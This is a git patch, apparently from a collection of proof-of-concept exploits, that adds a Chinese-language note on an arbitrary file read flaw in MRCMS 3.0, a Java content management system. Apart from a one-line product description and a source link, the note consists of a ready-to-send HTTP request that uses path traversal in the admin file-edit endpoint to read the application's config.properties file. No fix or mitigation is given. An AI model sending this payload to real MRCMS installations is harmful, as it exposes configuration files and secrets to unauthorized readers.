From eeb770b2e8cea29d76d2b31b190e9b3d0f59cc1d Mon Sep 17 00:00:00 2001
From: wy876 <139549762+wy876@users.noreply.github.com>
Date: Thu, 18 Jan 2024 19:16:18 +0800
Subject: [PATCH] =?UTF-8?q?Create=20MRCMS3.0=E4=BB=BB=E6=84=8F=E6=96=87?=
 =?UTF-8?q?=E4=BB=B6=E8=AF=BB=E5=8F=96=E6=BC=8F=E6=B4=9E.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 MRCMS3.0任意文件读取漏洞.md | 25 +++++++++++++++++++++++++
 1 file changed, 25 insertions(+)
 create mode 100644 MRCMS3.0任意文件读取漏洞.md

diff --git a/MRCMS3.0任意文件读取漏洞.md b/MRCMS3.0任意文件读取漏洞.md
new file mode 100644
index 0000000..e1011a9
--- /dev/null
+++ b/MRCMS3.0任意文件读取漏洞.md
@@ -0,0 +1,25 @@
+## MRCMS3.0任意文件读取漏洞
+
+MRCMS 是一款Java开发的内容管理系统，采用数据模型+模板+插件实现，内置提供了文章模型发布功能。
+
+## 源码
+```
+https://gitee.com/marker/MRCMS
+```
+
+## poc
+```
+GET /admin/file/edit.do?path=../resources/config.properties&name= HTTP/1.1
+Host: 127.0.0.1:8080
+Referer: http://127.0.0.1:8080/admin/index.do
+Sec-Fetch-Dest: empty
+Sec-Fetch-Site: same-origin
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
+Accept: text/html, */*; q=0.01
+Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+Accept-Encoding: gzip, deflate, br
+Sec-Fetch-Mode: cors
+X-Requested-With: XMLHttpRequest
+```
+
+![image](https://github.com/wy876/POC/assets/139549762/39dbdc2a-d6d5-481f-b9bb-8bbb0cbac76c)